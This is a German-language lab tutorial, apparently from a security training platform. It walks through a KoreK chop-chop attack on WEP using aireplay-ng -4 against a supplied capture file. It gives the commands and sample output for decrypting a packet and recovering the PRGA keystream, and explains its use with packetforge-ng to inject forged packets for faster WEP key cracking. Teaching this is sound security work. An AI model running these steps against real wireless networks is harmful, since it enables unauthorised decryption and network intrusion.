Einleitung
WEP (Wired Equivalent Privacy) ist ein veraltetes und unsicheres Wi-Fi-Sicherheitsprotokoll. Eine seiner kritischen Schwachstellen kann durch den KoreK Chop-Chop-Angriff ausgenutzt werden. Dieser Angriff ermöglicht es einem Angreifer, ein WEP-Datenpaket zu entschlüsseln, ohne den geheimen Netzwerkschlüssel zu kennen. Er funktioniert, indem jeder Byte des Klartextes des Pakets einzeln erraten wird und die Antworten des Access Points verwendet werden, um jede Vermutung zu validieren.
In diesem Labor werden Sie die aircrack-ng-Suite verwenden, eine leistungsstarke Sammlung von Werkzeugen zur Überprüfung drahtloser Netzwerke, um einen Chop-Chop-Angriff durchzuführen. Sie lernen, wie Sie aireplay-ng verwenden, um ein verschlüsseltes Datenpaket aus einer Capture-Datei anzuvisieren, es Byte für Byte zu entschlüsseln und zu verstehen, wie die resultierenden Daten für weitere Angriffe verwendet werden können.
Erfassen eines verschlüsselten Datenpakets vom Ziel
In diesem Schritt beginnen Sie mit der Suche nach der notwendigen Paket-Capture-Datei. In einem realen Szenario würden Sie ein Tool wie airodump-ng verwenden, um ein Live-Netzwerk zu überwachen und den Datenverkehr zu erfassen. Um dieses Labor zu vereinfachen und sich auf den Angriff selbst zu konzentrieren, wurde Ihnen jedoch eine vorgefertigte Capture-Datei namens chopchop-test.cap im Verzeichnis ~/project zur Verfügung gestellt.
Bestätigen Sie zunächst, dass die Datei in Ihrem aktuellen Verzeichnis vorhanden ist.
ls -l
Sie sollten chopchop-test.cap in der Ausgabe sehen.
total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap
Als Nächstes inspizieren wir diese Datei mit aircrack-ng, um zu bestätigen, dass sie Daten von einem WEP-Netzwerk enthält. Dieser Befehl liest die Capture-Datei und zeigt eine Zusammenfassung der Netzwerke und Daten, die sie enthält.
aircrack-ng chopchop-test.cap
Die Ausgabe zeigt die BSSID (MAC-Adresse) des Access Points und gibt an, dass er WEP-Verschlüsselung verwendet.
Opening chopchop-test.cap
Read 1 packets.
## BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1 00:13:10:36:7D:4F -32 0 1 0 6 54 WEP WEP <length: 0>
Choosing first network as target.
Dies bestätigt, dass unsere Capture-Datei für den Angriff bereit ist.
Starten Sie den Chop-Chop-Angriff mit aireplay-ng -4
In diesem Schritt initiieren Sie den Chop-Chop-Angriff mit aireplay-ng. Dieses Tool wird zum Injizieren und Wiederholen von drahtlosen Frames verwendet. Der Chop-Chop-Angriff wird mit der Option -4 spezifiziert.
Normalerweise würden Sie bei einem Live-Angriff die BSSID des Access Points und Ihre Netzwerkschnittstelle angeben. Da wir jedoch mit einer Capture-Datei arbeiten, verwenden wir die Option -r, um Pakete direkt aus unserer Datei zu lesen. aireplay-ng extrahiert automatisch die notwendigen Informationen, wie die BSSID, aus der Datei.
Führen Sie den folgenden Befehl aus, um den Angriff zu starten:
aireplay-ng -4 -r chopchop-test.cap
Nachdem Sie den Befehl ausgeführt haben, liest aireplay-ng die Datei, findet ein geeignetes Datenpaket und bittet um Ihre Bestätigung, um mit dem Angriff fortzufahren.
Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
BSSID = 00:13:10:36:7D:4F
Dest. MAC = 00:0F:B5:AB:CB:C3
Source MAC = 00:13:10:36:7D:4F
Use this packet ? (y/n)
Das Tool hat ein Datenpaket identifiziert und ist bereit, mit dem Entschlüsselungsprozess zu beginnen. Sie fahren im nächsten Schritt fort.
Lassen Sie den Angriff das Paket Byte für Byte entschlüsseln
In diesem Schritt fahren Sie mit dem Angriff fort und beobachten, wie aireplay-ng das Paket entschlüsselt. Das Tool wartet derzeit auf Ihre Bestätigung aus dem vorherigen Schritt.
Geben Sie y ein und drücken Sie Enter, um den Entschlüsselungsprozess zu starten.
y
Sobald Sie bestätigen, startet aireplay-ng den Kern des Chop-Chop-Angriffs. Es wird versuchen, den Wert jedes Bytes der Paketdaten zu erraten, beginnend mit dem letzten Byte. Bei einem Live-Angriff würde es jeden Tipp an den Access Point senden und die Antwort analysieren, um zu sehen, ob der Tipp korrekt war. In unserer dateibasierten Simulation wird dieser Prozess emuliert.
Sie sehen eine Ausgabe, die den Fortschritt des Angriffs zeigt. Sie zeigt die Anzahl der gesendeten Pakete (für jeden Tipp) und benachrichtigt Sie jedes Mal, wenn ein Byte erfolgreich entschlüsselt wurde.
Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset 34 ( 0% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
...
Offset 1 (97% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Offset 0 (98% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Done.
Der Prozess wird fortgesetzt, bis alle Bytes des Pakets entschlüsselt sind. Warten Sie einfach, bis der Prozess abgeschlossen ist.
Speichern des entschlüsselten Pakets und der PRGA XOR-Datei
In diesem Schritt speichern Sie die Ergebnisse des erfolgreichen Chop-Chop-Angriffs. Nachdem aireplay-ng das gesamte Paket entschlüsselt hat, werden Sie aufgefordert, die Ergebnisse zu speichern.
Das Tool zeigt eine Meldung wie diese an:
Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)
Geben Sie y ein und drücken Sie Enter, um die Ausgabe zu speichern.
y
Nach dem Speichern erstellt aireplay-ng zwei wichtige Dateien in Ihrem Verzeichnis ~/project:
- Eine
.cap-Datei (z. B.replay_dec-....cap): Diese Datei enthält das nun entschlüsselte Klartextpaket. - Eine
.xor-Datei (z. B.replay_dec-....xor): Diese Datei enthält den Pseudo-Random Generation Algorithm (PRGA) Keystream, der zum Verschlüsseln des ursprünglichen Pakets verwendet wurde. Dieser Keystream ist das wertvollste Ergebnis des Angriffs.
Lassen Sie uns überprüfen, ob diese Dateien erstellt wurden. Verwenden Sie den Befehl ls, um alle .cap- und .xor-Dateien im Verzeichnis aufzulisten.
ls -l *.cap *.xor
Sie sehen die ursprüngliche Capture-Datei, eine Quelldatei und die beiden neuen replay_dec-*-Dateien, die durch den Angriff generiert wurden.
-rw-r--r-- 1 root root 124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root 60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_src-0320-100520.cap
Verstehen des Anwendungsfalls für Chop-Chop-Angriffe
In diesem Schritt lernen Sie die praktische Anwendung des Chop-Chop-Angriffs kennen. Obwohl wir erfolgreich ein Paket entschlüsselt haben, enthüllt der Angriff selbst nicht den WEP-Schlüssel. Seine wahre Stärke liegt in der Wiederherstellung des PRGA-Keystreams, der in der .xor-Datei gespeichert ist.
Dieser wiederhergestellte Keystream kann mit einem anderen Tool, packetforge-ng, verwendet werden, um neue, gültige Pakete zu erstellen. Sie können jede Art von Paket (wie eine ARP-Anfrage) fälschen und es mit diesem bekannten Keystream verschlüsseln. Durch das Einspeisen dieses gefälschten Pakets zurück in das Netzwerk können Sie den Access Point dazu bringen, mehr Datenverkehr zu generieren. Dieser neue Datenverkehr liefert mehr eindeutige Initialisierungsvektoren (IVs), die dann in einem statistischen Angriff (wie dem Standard aircrack-ng-Angriff) verwendet werden können, um den WEP-Schlüssel viel schneller zu knacken.
Daher ist der Chop-Chop-Angriff ein wesentliches Werkzeug zur Generierung von Datenverkehr in einem ansonsten ruhigen Netzwerk, was wesentlich effektivere Schlüsselknack-Angriffe ermöglicht.
Um zu sehen, wie der wiederhergestellte Keystream aussieht, können Sie die .xor-Datei mit xxd untersuchen, einem Tool, das einen Hex-Dump einer Datei erstellt. Verwenden Sie ein Wildcard-Zeichen (*), um den generierten Dateinamen abzugleichen.
xxd replay_dec-*.xor
Die Ausgabe ist eine hexadezimale Darstellung der Keystream-Daten, die aus dem Paket wiederhergestellt wurden.
00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10 ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20 ...............
...
Diese Rohdaten sind das, was packetforge-ng verwenden würde, um neue Pakete für die Einspeisung zu erstellen.
Zusammenfassung
In diesem Lab haben Sie erfolgreich einen KoreK Chop-Chop-Angriff gegen ein simuliertes WEP-Netzwerk durchgeführt.
Sie haben gelernt, wie Sie aireplay-ng mit der Option -4 verwenden, um ein WEP-verschlüsseltes Datenpaket aus einer Capture-Datei anzuzielen. Sie haben den Byte-für-Byte-Entschlüsselungsprozess beobachtet und die Ergebnisse erfolgreich gespeichert. Am wichtigsten ist, dass Sie nun den primären Anwendungsfall für diesen Angriff verstehen: Es geht nicht darum, den WEP-Schlüssel direkt zu knacken, sondern darum, ein kleines Stück des PRGA-Keystreams wiederherzustellen. Dieser Keystream ist eine kritische Komponente für das Fälschen neuer Pakete mit packetforge-ng, die dann verwendet werden können, um Datenverkehr in einem Netzwerk zu stimulieren und schnellere, effektivere statistische Angriffe zur Wiederherstellung des endgültigen WEP-Schlüssels zu ermöglichen. Dieses Lab hebt eine der vielen grundlegenden Schwächen des WEP-Protokolls hervor.


